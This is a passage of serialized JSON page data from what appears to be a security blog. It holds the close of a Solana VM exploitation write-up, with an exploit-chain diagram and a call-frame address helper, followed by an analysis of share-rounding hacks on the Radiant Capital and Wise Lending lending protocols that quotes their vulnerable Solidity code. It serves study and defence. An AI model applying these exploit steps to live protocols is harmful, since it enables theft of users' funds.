E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[52306],{"type":24,"tag":284,"props":52307,"children":52308},{"__ignoreMap":7},[52309,52317,52324,52331,52339,52346,52354,52362,52370,52378,52386,52394,52402,52410,52418],{"type":24,"tag":327,"props":52310,"children":52311},{"class":329,"line":330},[52312],{"type":24,"tag":327,"props":52313,"children":52314},{},[52315],{"type":29,"value":52316},"graph BT\n",{"type":24,"tag":327,"props":52318,"children":52319},{"class":329,"line":367},[52320],{"type":24,"tag":327,"props":52321,"children":52322},{},[52323],{"type":29,"value":50689},{"type":24,"tag":327,"props":52325,"children":52326},{"class":329,"line":408},[52327],{"type":24,"tag":327,"props":52328,"children":52329},{},[52330],{"type":29,"value":50697},{"type":24,"tag":327,"props":52332,"children":52333},{"class":329,"line":421},[52334],{"type":24,"tag":327,"props":52335,"children":52336},{},[52337],{"type":29,"value":52338},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":327,"props":52340,"children":52341},{"class":329,"line":450},[52342],{"type":24,"tag":327,"props":52343,"children":52344},{},[52345],{"type":29,"value":50713},{"type":24,"tag":327,"props":52347,"children":52348},{"class":329,"line":481},[52349],{"type":24,"tag":327,"props":52350,"children":52351},{},[52352],{"type":29,"value":52353},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":327,"props":52355,"children":52356},{"class":329,"line":500},[52357],{"type":24,"tag":327,"props":52358,"children":52359},{},[52360],{"type":29,"value":52361},"    E --> G[4: process]\n",{"type":24,"tag":327,"props":52363,"children":52364},{"class":329,"line":529},[52365],{"type":24,"tag":327,"props":52366,"children":52367},{},[52368],{"type":29,"value":52369},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":327,"props":52371,"children":52372},{"class":329,"line":538},[52373],{"type":24,"tag":327,"props":52374,"children":52375},{},[52376],{"type":29,"value":52377},"    G --> I[5: process]\n",{"type":24,"tag":327,"props":52379,"children":52380},{"class":329,"line":547},[52381],{"type":24,"tag":327,"props":52382,"children":52383},{},[52384],{"type":29,"value":52385},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":327,"props":52387,"children":52388},{"class":329,"line":557},[52389],{"type":24,"tag":327,"props":52390,"children":52391},{},[52392],{"type":29,"value":52393},"    I --> K[6: process]\n",{"type":24,"tag":327,"props":52395,"children":52396},{"class":329,"line":586},[52397],{"type":24,"tag":327,"props":52398,"children":52399},{},[52400],{"type":29,"value":52401},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":327,"props":52403,"children":52404},{"class":329,"line":1017},[52405],{"type":24,"tag":327,"props":52406,"children":52407},{},[52408],{"type":29,"value":52409},"    K --> N[7: process]\n",{"type":24,"tag":327,"props":52411,"children":52412},{"class":329,"line":1026},[52413],{"type":24,"tag":327,"props":52414,"children":52415},{},[52416],{"type":29,"value":52417},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":327,"props":52419,"children":52420},{"class":329,"line":1048},[52421],{"type":24,"tag":327,"props":52422,"children":52423},{},[52424],{"type":29,"value":52425},"    N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":52427,"children":52428},{},[52429,52431,52437],{"type":29,"value":52430},"Small note: ",{"type":24,"tag":284,"props":52432,"children":52434},{"className":52433},[],[52435],{"type":29,"value":52436},"target_r10",{"type":29,"value":52438}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":317,"props":52440,"children":52442},{"className":1553,"code":52441,"language":1552,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[52443],{"type":24,"tag":284,"props":52444,"children":52445},{"__ignoreMap":7},[52446,52491,52526,52533],{"type":24,"tag":327,"props":52447,"children":52448},{"class":329,"line":330},[52449,52453,52458,52462,52467,52471,52475,52479,52483,52487],{"type":24,"tag":327,"props":52450,"children":52451},{"style":334},[52452],{"type":29,"value":1617},{"type":24,"tag":327,"props":52454,"children":52455},{"style":340},[52456],{"type":29,"value":52457}," call_frame_addr",{"type":24,"tag":327,"props":52459,"children":52460},{"style":346},[52461],{"type":29,"value":349},{"type":24,"tag":327,"props":52463,"children":52464},{"style":356},[52465],{"type":29,"value":52466},"depth",{"type":24,"tag":327,"props":52468,"children":52469},{"style":381},[52470],{"type":29,"value":1636},{"type":24,"tag":327,"props":52472,"children":52473},{"style":1639},[52474],{"type":29,"value":1669},{"type":24,"tag":327,"props":52476,"children":52477},{"style":346},[52478],{"type":29,"value":1674},{"type":24,"tag":327,"props":52480,"children":52481},{"style":381},[52482],{"type":29,"value":1679},{"type":24,"tag":327,"props":52484,"children":52485},{"style":1639},[52486],{"type":29,"value":1669},{"type":24,"tag":327,"props":52488,"children":52489},{"style":346},[52490],{"type":29,"value":497},{"type":24,"tag":327,"props":52492,"children":52493},{"class":329,"line":367},[52494,52499,52503,52508,52512,52517,52521],{"type":24,"tag":327,"props":52495,"children":52496},{"style":397},[52497],{"type":29,"value":52498},"    0x200000000",{"type":24,"tag":327,"props":52500,"children":52501},{"style":381},[52502],{"type":29,"value":4407},{"type":24,"tag":327,"props":52504,"children":52505},{"style":397},[52506],{"type":29,"value":52507}," 0x2000",{"type":24,"tag":327,"props":52509,"children":52510},{"style":381},[52511],{"type":29,"value":17364},{"type":24,"tag":327,"props":52513,"children":52514},{"style":356},[52515],{"type":29,"value":52516}," depth",{"type":24,"tag":327,"props":52518,"children":52519},{"style":381},[52520],{"type":29,"value":4407},{"type":24,"tag":327,"props":52522,"children":52523},{"style":397},[52524],{"type":29,"value":52525}," 0x1000\n",{"type":24,"tag":327,"props":52527,"children":52528},{"class":329,"line":408},[52529],{"type":24,"tag":327,"props":52530,"children":52531},{"style":346},[52532],{"type":29,"value":592},{"type":24,"tag":327,"props":52534,"children":52535},{"class":329,"line":421},[52536],{"type":24,"tag":327,"props":52537,"children":52538},{"style":551},[52539],{"type":29,"value":52540},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":228,"props":52542,"children":52543},{"id":10412},[52544],{"type":29,"value":226},{"type":24,"tag":25,"props":52546,"children":52547},{},[52548,52550,52557],{"type":29,"value":52549},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":57,"props":52551,"children":52554},{"href":52552,"rel":52553},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[61],[52555],{"type":29,"value":52556},"they do exist",{"type":29,"value":66},{"type":24,"tag":25,"props":52559,"children":52560},{},[52561],{"type":29,"value":52562},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":52564,"children":52565},{},[52566,52568,52573],{"type":29,"value":52567},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":42,"props":52569,"children":52570},{},[52571],{"type":29,"value":52572},"entire",{"type":29,"value":52574}," runtime.",{"type":24,"tag":10448,"props":52576,"children":52577},{},[52578],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":52580},[52581,52585,52586,52589],{"id":237,"depth":367,"text":240,"children":52582},[52583,52584],{"id":47255,"depth":408,"text":47258},{"id":48574,"depth":408,"text":48577},{"id":49813,"depth":367,"text":49816},{"id":50649,"depth":367,"text":50652,"children":52587},[52588],{"id":50763,"depth":408,"text":50766},{"id":10412,"depth":367,"text":226},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":52594,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52595,"description":52596,"author":52597,"image":52598,"date":52600,"isFeatured":16,"onBlogPage":16,"body":52601,"_type":10481,"_id":53747,"_source":10483,"_file":53748,"_stem":53749,"_extension":10486},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[13288],{"src":52599},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":52602,"toc":53736},[52603,52607,52635,52640,52653,52658,52664,52669,52674,52679,52684,52697,52709,52729,52749,52754,52759,52777,52783,52788,52794,52808,52821,52826,52832,52846,52851,52873,53106,53111,53116,53129,53369,53379,53384,53390,53395,53400,53433,53438,53449,53455,53460,53474,53602,53616,53692,53697,53708,53713,53718,53722,53727,53732],{"type":24,"tag":228,"props":52604,"children":52605},{"id":35723},[52606],{"type":29,"value":35726},{"type":24,"tag":25,"props":52608,"children":52609},{},[52610,52612,52619,52620,52627,52629,52634],{"type":29,"value":52611},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":57,"props":52613,"children":52616},{"href":52614,"rel":52615},"https://neodyme.io/de/blog/lending_disclosure",[61],[52617],{"type":29,"value":52618},"fast",{"type":29,"value":2744},{"type":24,"tag":57,"props":52621,"children":52624},{"href":52622,"rel":52623},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[61],[52625],{"type":29,"value":52626},"cheap",{"type":29,"value":52628}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":42,"props":52630,"children":52631},{},[52632],{"type":29,"value":52633},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":66},{"type":24,"tag":25,"props":52636,"children":52637},{},[52638],{"type":29,"value":52639},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":175,"props":52641,"children":52642},{},[52643,52648],{"type":24,"tag":179,"props":52644,"children":52645},{},[52646],{"type":29,"value":52647},"Inflate share value (token to share conversion rate)",{"type":24,"tag":179,"props":52649,"children":52650},{},[52651],{"type":29,"value":52652},"Exploit rounding bug",{"type":24,"tag":25,"props":52654,"children":52655},{},[52656],{"type":29,"value":52657},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":228,"props":52659,"children":52661},{"id":52660},"model",[52662],{"type":29,"value":52663},"Model",{"type":24,"tag":25,"props":52665,"children":52666},{},[52667],{"type":29,"value":52668},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":52670,"children":52671},{},[52672],{"type":29,"value":52673},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":52675,"children":52676},{},[52677],{"type":29,"value":52678},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":52680,"children":52681},{},[52682],{"type":29,"value":52683},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":52685,"children":52686},{},[52687,52689,52695],{"type":29,"value":52688},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":284,"props":52690,"children":52692},{"className":52691},[],[52693],{"type":29,"value":52694},"1000:1000",{"type":29,"value":52696}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":52698,"children":52699},{},[52700,52702,52708],{"type":29,"value":52701},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":284,"props":52703,"children":52705},{"className":52704},[],[52706],{"type":29,"value":52707},"1001:1000",{"type":29,"value":66},{"type":24,"tag":25,"props":52710,"children":52711},{},[52712,52714,52720,52722,52727],{"type":29,"value":52713},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":284,"props":52715,"children":52717},{"className":52716},[],[52718],{"type":29,"value":52719},"1001/1000*999 = 999.999",{"type":29,"value":52721},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":42,"props":52723,"children":52724},{},[52725],{"type":29,"value":52726},"down",{"type":29,"value":52728}," against the user.",{"type":24,"tag":25,"props":52730,"children":52731},{},[52732,52734,52740,52742,52748],{"type":29,"value":52733},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":284,"props":52735,"children":52737},{"className":52736},[],[52738],{"type":29,"value":52739},"2:1",{"type":29,"value":52741},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":284,"props":52743,"children":52745},{"className":52744},[],[52746],{"type":29,"value":52747},"3:1",{"type":29,"value":66},{"type":24,"tag":25,"props":52750,"children":52751},{},[52752],{"type":29,"value":52753},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":52755,"children":52756},{},[52757],{"type":29,"value":52758},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":175,"props":52760,"children":52761},{},[52762,52767,52772],{"type":24,"tag":179,"props":52763,"children":52764},{},[52765],{"type":29,"value":52766},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":179,"props":52768,"children":52769},{},[52770],{"type":29,"value":52771},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":179,"props":52773,"children":52774},{},[52775],{"type":29,"value":52776},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":228,"props":52778,"children":52780},{"id":52779},"decisions",[52781],{"type":29,"value":52782},"Decisions",{"type":24,"tag":25,"props":52784,"children":52785},{},[52786],{"type":29,"value":52787},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":235,"props":52789,"children":52791},{"id":52790},"radiant-capital",[52792],{"type":29,"value":52793},"Radiant Capital",{"type":24,"tag":25,"props":52795,"children":52796},{},[52797,52799,52806],{"type":29,"value":52798},"Radiant Capital was ",{"type":24,"tag":57,"props":52800,"children":52803},{"href":52801,"rel":52802},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[61],[52804],{"type":29,"value":52805},"hacked on Jan 2nd",{"type":29,"value":52807}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":25,"props":52809,"children":52810},{},[52811,52813,52820],{"type":29,"value":52812},"The exploit is relatively straightforward and ",{"type":24,"tag":57,"props":52814,"children":52817},{"href":52815,"rel":52816},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[61],[52818],{"type":29,"value":52819},"has already been covered previously",{"type":29,"value":66},{"type":24,"tag":25,"props":52822,"children":52823},{},[52824],{"type":29,"value":52825},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":235,"props":52827,"children":52829},{"id":52828},"wise-lending",[52830],{"type":29,"value":52831},"Wise Lending",{"type":24,"tag":25,"props":52833,"children":52834},{},[52835,52837,52844],{"type":29,"value":52836},"Wise Lending was ",{"type":24,"tag":57,"props":52838,"children":52841},{"href":52839,"rel":52840},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[61],[52842],{"type":29,"value":52843},"hacked on January 13th",{"type":29,"value":52845}," for just under $460,000.",{"type":24,"tag":25,"props":52847,"children":52848},{},[52849],{"type":29,"value":52850},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":25,"props":52852,"children":52853},{},[52854,52856,52863,52865,52872],{"type":29,"value":52855},"This is ",{"type":24,"tag":57,"props":52857,"children":52860},{"href":52858,"rel":52859},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[61],[52861],{"type":29,"value":52862},"the code responsible",{"type":29,"value":52864}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":57,"props":52866,"children":52869},{"href":52867,"rel":52868},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[61],[52870],{"type":29,"value":52871},"no way to atomically self-bankrupt",{"type":29,"value":66},{"type":24,"tag":317,"props":52874,"children":52876},{"className":12046,"code":52875,"language":12045,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[52877],{"type":24,"tag":284,"props":52878,"children":52879},{"__ignoreMap":7},[52880,52911,52919,52927,52934,52956,52969,52976,52997,53027,53039,53051,53058,53082,53099],{"type":24,"tag":327,"props":52881,"children":52882},{"class":329,"line":330},[52883,52888,52893,52897,52902,52907],{"type":24,"tag":327,"props":52884,"children":52885},{"style":1639},[52886],{"type":29,"value":52887},"uint256",{"type":24,"tag":327,"props":52889,"children":52890},{"style":346},[52891],{"type":29,"value":52892}," withdrawValue ",{"type":24,"tag":327,"props":52894,"children":52895},{"style":381},[52896],{"type":29,"value":384},{"type":24,"tag":327,"props":52898,"children":52899},{"style":346},[52900],{"type":29,"value":52901}," WISE_ORACLE.",{"type":24,"tag":327,"props":52903,"children":52904},{"style":340},[52905],{"type":29,"value":52906},"getTokensInETH",{"type":24,"tag":327,"props":52908,"children":52909},{"style":346},[52910],{"type":29,"value":4663},{"type":24,"tag":327,"props":52912,"children":52913},{"class":329,"line":367},[52914],{"type":24,"tag":327,"props":52915,"children":52916},{"style":346},[52917],{"type":29,"value":52918},"    _poolToken,\n",{"type":24,"tag":327,"props":52920,"children":52921},{"class":329,"line":408},[52922],{"type":24,"tag":327,"props":52923,"children":52924},{"style":346},[52925],{"type":29,"value":52926},"    _amount\n",{"type":24,"tag":327,"props":52928,"children":52929},{"class":329,"line":421},[52930],{"type":24,"tag":327,"props":52931,"children":52932},{"style":346},[52933],{"type":29,"value":852},{"type":24,"tag":327,"props":52935,"children":52936},{"class":329,"line":450},[52937,52941,52946,52951],{"type":24,"tag":327,"props":52938,"children":52939},{"style":381},[52940],{"type":29,"value":25070},{"type":24,"tag":327,"props":52942,"children":52943},{"style":346},[52944],{"type":29,"value":52945}," WISE_LENDING.",{"type":24,"tag":327,"props":52947,"children":52948},{"style":340},[52949],{"type":29,"value":52950},"lendingPoolData",{"type":24,"tag":327,"props":52952,"children":52953},{"style":346},[52954],{"type":29,"value":52955},"(_poolToken).collateralFactor\n",{"type":24,"tag":327,"props":52957,"children":52958},{"class":329,"line":481},[52959,52964],{"type":24,"tag":327,"props":52960,"children":52961},{"style":381},[52962],{"type":29,"value":52963},"    /",{"type":24,"tag":327,"props":52965,"children":52966},{"style":346},[52967],{"type":29,"value":52968}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":327,"props":52970,"children":52971},{"class":329,"line":500},[52972],{"type":24,"tag":327,"props":52973,"children":52974},{"emptyLinePlaceholder":16},[52975],{"type":29,"value":544},{"type":24,"tag":327,"props":52977,"children":52978},{"class":329,"line":529},[52979,52983,52988,52992],{"type":24,"tag":327,"props":52980,"children":52981},{"style":1639},[52982],{"type":29,"value":36394},{"type":24,"tag":327,"props":52984,"children":52985},{"style":346},[52986],{"type":29,"value":52987}," state ",{"type":24,"tag":327,"props":52989,"children":52990},{"style":381},[52991],{"type":29,"value":384},{"type":24,"tag":327,"props":52993,"children":52994},{"style":346},[52995],{"type":29,"value":52996}," borrowPercentageCap\n",{"type":24,"tag":327,"props":52998,"children":52999},{"class":329,"line":538},[53000,53004,53008,53013,53018,53022],{"type":24,"tag":327,"props":53001,"children":53002},{"style":381},[53003],{"type":29,"value":25070},{"type":24,"tag":327,"props":53005,"children":53006},{"style":346},[53007],{"type":29,"value":5894},{"type":24,"tag":327,"props":53009,"children":53010},{"style":340},[53011],{"type":29,"value":53012},"overallETHCollateralsWeighted",{"type":24,"tag":327,"props":53014,"children":53015},{"style":346},[53016],{"type":29,"value":53017},"(_nftId) ",{"type":24,"tag":327,"props":53019,"children":53020},{"style":381},[53021],{"type":29,"value":11899},{"type":24,"tag":327,"props":53023,"children":53024},{"style":346},[53025],{"type":29,"value":53026}," withdrawValue)\n",{"type":24,"tag":327,"props":53028,"children":53029},{"class":329,"line":547},[53030,53034],{"type":24,"tag":327,"props":53031,"children":53032},{"style":381},[53033],{"type":29,"value":52963},{"type":24,"tag":327,"props":53035,"children":53036},{"style":346},[53037],{"type":29,"value":53038}," PRECISION_FACTOR_E18\n",{"type":24,"tag":327,"props":53040,"children":53041},{"class":329,"line":557},[53042,53046],{"type":24,"tag":327,"props":53043,"children":53044},{"style":381},[53045],{"type":29,"value":39156},{"type":24,"tag":327,"props":53047,"children":53048},{"style":346},[53049],{"type":29,"value":53050}," borrowAmount;\n",{"type":24,"tag":327,"props":53052,"children":53053},{"class":329,"line":586},[53054],{"type":24,"tag":327,"props":53055,"children":53056},{"emptyLinePlaceholder":16},[53057],{"type":29,"value":544},{"type":24,"tag":327,"props":53059,"children":53060},{"class":329,"line":1017},[53061,53065,53070,53074,53078],{"type":24,"tag":327,"props":53062,"children":53063},{"style":425},[53064],{"type":29,"value":5999},{"type":24,"tag":327,"props":53066,"children":53067},{"style":346},[53068],{"type":29,"value":53069}," (state ",{"type":24,"tag":327,"props":53071,"children":53072},{"style":381},[53073],{"type":29,"value":642},{"type":24,"tag":327,"props":53075,"children":53076},{"style":334},[53077],{"type":29,"value":9722},{"type":24,"tag":327,"props":53079,"children":53080},{"style":346},[53081],{"type":29,"value":364},{"type":24,"tag":327,"props":53083,"children":53084},{"class":329,"line":1026},[53085,53090,53095],{"type":24,"tag":327,"props":53086,"children":53087},{"style":425},[53088],{"type":29,"value":53089},"    revert",{"type":24,"tag":327,"props":53091,"children":53092},{"style":340},[53093],{"type":29,"value":53094}," ResultsInBadDebt",{"type":24,"tag":327,"props":53096,"children":53097},{"style":346},[53098],{"type":29,"value":4838},{"type":24,"tag":327,"props":53100,"children":53101},{"class":329,"line":1048},[53102],{"type":24,"tag":327,"props":53103,"children":53104},{"style":346},[53105],{"type":29,"value":592},{"type":24,"tag":25,"props":53107,"children":53108},{},[53109],{"type":29,"value":53110},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":53112,"children":53113},{},[53114],{"type":29,"value":53115},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":53117,"children":53118},{},[53119,53121,53127],{"type":29,"value":53120},"And indeed, ",{"type":24,"tag":57,"props":53122,"children":53125},{"href":53123,"rel":53124},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[61],[53126],{"type":29,"value":52831},{"type":29,"value":53128}," rounds up the share value.",{"type":24,"tag":317,"props":53130,"children":53132},{"className":12046,"code":53131,"language":12045,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[53133],{"type":24,"tag":284,"props":53134,"children":53135},{"__ignoreMap":7},[53136,53152,53169,53185,53198,53205,53213,53221,53241,53248,53269,53290,53312,53341,53362],{"type":24,"tag":327,"props":53137,"children":53138},{"class":329,"line":330},[53139,53143,53148],{"type":24,"tag":327,"props":53140,"children":53141},{"style":334},[53142],{"type":29,"value":38087},{"type":24,"tag":327,"props":53144,"children":53145},{"style":340},[53146],{"type":29,"value":53147}," _calculateShares",{"type":24,"tag":327,"props":53149,"children":53150},{"style":346},[53151],{"type":29,"value":4663},{"type":24,"tag":327,"props":53153,"children":53154},{"class":329,"line":367},[53155,53160,53165],{"type":24,"tag":327,"props":53156,"children":53157},{"style":1639},[53158],{"type":29,"value":53159},"    uint256",{"type":24,"tag":327,"props":53161,"children":53162},{"style":356},[53163],{"type":29,"value":53164}," _product",{"type":24,"tag":327,"props":53166,"children":53167},{"style":346},[53168],{"type":29,"value":2231},{"type":24,"tag":327,"props":53170,"children":53171},{"class":329,"line":408},[53172,53176,53181],{"type":24,"tag":327,"props":53173,"children":53174},{"style":1639},[53175],{"type":29,"value":53159},{"type":24,"tag":327,"props":53177,"children":53178},{"style":356},[53179],{"type":29,"value":53180}," _pseudo",{"type":24,"tag":327,"props":53182,"children":53183},{"style":346},[53184],{"type":29,"value":2231},{"type":24,"tag":327,"props":53186,"children":53187},{"class":329,"line":421},[53188,53193],{"type":24,"tag":327,"props":53189,"children":53190},{"style":1639},[53191],{"type":29,"value":53192},"    bool",{"type":24,"tag":327,"props":53194,"children":53195},{"style":356},[53196],{"type":29,"value":53197}," _maxSharePrice\n",{"type":24,"tag":327,"props":53199,"children":53200},{"class":329,"line":450},[53201],{"type":24,"tag":327,"props":53202,"children":53203},{"style":346},[53204],{"type":29,"value":852},{"type":24,"tag":327,"props":53206,"children":53207},{"class":329,"line":481},[53208],{"type":24,"tag":327,"props":53209,"children":53210},{"style":334},[53211],{"type":29,"value":53212},"    private\n",{"type":24,"tag":327,"props":53214,"children":53215},{"class":329,"line":500},[53216],{"type":24,"tag":327,"props":53217,"children":53218},{"style":334},[53219],{"type":29,"value":53220},"    pure\n",{"type":24,"tag":327,"props":53222,"children":53223},{"class":329,"line":529},[53224,53229,53233,53237],{"type":24,"tag":327,"props":53225,"children":53226},{"style":425},[53227],{"type":29,"value":53228},"    returns",{"type":24,"tag":327,"props":53230,"children":53231},{"style":346},[53232],{"type":29,"value":5894},{"type":24,"tag":327,"props":53234,"children":53235},{"style":1639},[53236],{"type":29,"value":52887},{"type":24,"tag":327,"props":53238,"children":53239},{"style":346},[53240],{"type":29,"value":852},{"type":24,"tag":327,"props":53242,"children":53243},{"class":329,"line":538},[53244],{"type":24,"tag":327,"props":53245,"children":53246},{"style":346},[53247],{"type":29,"value":18427},{"type":24,"tag":327,"props":53249,"children":53250},{"class":329,"line":547},[53251,53255,53260,53264],{"type":24,"tag":327,"props":53252,"children":53253},{"style":425},[53254],{"type":29,"value":6023},{"type":24,"tag":327,"props":53256,"children":53257},{"style":346},[53258],{"type":29,"value":53259}," _maxSharePrice ",{"type":24,"tag":327,"props":53261,"children":53262},{"style":381},[53263],{"type":29,"value":642},{"type":24,"tag":327,"props":53265,"children":53266},{"style":334},[53267],{"type":29,"value":53268}," true\n",{"type":24,"tag":327,"props":53270,"children":53271},{"class":329,"line":557},[53272,53277,53282,53286],{"type":24,"tag":327,"props":53273,"children":53274},{"style":381},[53275],{"type":29,"value":53276},"        ?",{"type":24,"tag":327,"props":53278,"children":53279},{"style":346},[53280],{"type":29,"value":53281}," _product % _pseudo ",{"type":24,"tag":327,"props":53283,"children":53284},{"style":381},[53285],{"type":29,"value":642},{"type":24,"tag":327,"props":53287,"children":53288},{"style":397},[53289],{"type":29,"value":5728},{"type":24,"tag":327,"props":53291,"children":53292},{"class":329,"line":586},[53293,53298,53303,53307],{"type":24,"tag":327,"props":53294,"children":53295},{"style":381},[53296],{"type":29,"value":53297},"            ?",{"type":24,"tag":327,"props":53299,"children":53300},{"style":346},[53301],{"type":29,"value":53302}," _product ",{"type":24,"tag":327,"props":53304,"children":53305},{"style":381},[53306],{"type":29,"value":2899},{"type":24,"tag":327,"props":53308,"children":53309},{"style":346},[53310],{"type":29,"value":53311}," _pseudo\n",{"type":24,"tag":327,"props":53313,"children":53314},{"class":329,"line":1017},[53315,53320,53324,53328,53333,53337],{"type":24,"tag":327,"props":53316,"children":53317},{"style":381},[53318],{"type":29,"value":53319},"            :",{"type":24,"tag":327,"props":53321,"children":53322},{"style":346},[53323],{"type":29,"value":53302},{"type":24,"tag":327,"props":53325,"children":53326},{"style":381},[53327],{"type":29,"value":2899},{"type":24,"tag":327,"props":53329,"children":53330},{"style":346},[53331],{"type":29,"value":53332}," _pseudo ",{"type":24,"tag":327,"props":53334,"children":53335},{"style":381},[53336],{"type":29,"value":394},{"type":24,"tag":327,"props":53338,"children":53339},{"style":397},[53340],{"type":29,"value":771},{"type":24,"tag":327,"props":53342,"children":53343},{"class":329,"line":1026},[53344,53349,53353,53357],{"type":24,"tag":327,"props":53345,"children":53346},{"style":381},[53347],{"type":29,"value":53348},"        :",{"type":24,"tag":327,"props":53350,"children":53351},{"style":346},[53352],{"type":29,"value":53302},{"type":24,"tag":327,"props":53354,"children":53355},{"style":381},[53356],{"type":29,"value":2899},{"type":24,"tag":327,"props":53358,"children":53359},{"style":346},[53360],{"type":29,"value":53361}," _pseudo;\n",{"type":24,"tag":327,"props":53363,"children":53364},{"class":329,"line":1048},[53365],{"type":24,"tag":327,"props":53366,"children":53367},{"style":346},[53368],{"type":29,"value":592},{"type":24,"tag":25,"props":53370,"children":53371},{},[53372,53377],{"type":24,"tag":42,"props":53373,"children":53374},{},[53375],{"type":29,"value":53376},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":53378},". The correct way would 